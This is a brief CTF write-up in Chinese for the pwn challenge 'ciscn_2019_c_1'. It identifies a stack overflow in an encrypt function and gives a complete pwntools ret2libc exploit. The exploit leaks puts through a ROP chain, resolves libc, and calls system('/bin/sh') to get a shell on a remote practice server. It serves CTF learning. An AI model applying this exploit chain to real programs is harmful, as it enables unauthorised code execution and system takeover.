ciscn_2019_c_1
0x01
檢查文件,64位
檢查開啟的保護情況
開啟了NX保護
0x02
IDA靜態分析
在主函數這裡並沒有常見的gets棧溢出,嘗試再這裡面的子函數找找,發現了encrypt函數,進去查看
發現這個變數x的自增是由空間大小限制的,猜測這裡會出現棧溢出漏洞,寫出exp嘗試溢出
0x03
exp:
from pwn import *
from LibcSearcher import *
content = 0
context(os='linux', arch='amd64', log_level='debug')
ret = 0x4006b9 #靶機是ubuntu,所以需要棧平衡
elf = ELF('ciscn_2019_c_1')
puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x400c83 #×64程式基本都存在的一個地址pop rdi;ret
def main():
if content == 1:
p = process('ciscn_2019_c_1')
else:
p = remote('node3.buuoj.cn',25655)
payload = b'a' * (0x50 + 8)
payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#print(payload)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print(puts_addr) #找出puts的地址
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts') #找出函數地址偏移量
system_addr = libc_base + libc.dump('system') #計算出system的在程式中的地址
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 8)
payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.interactive()
main()
執行結果:
拿到flag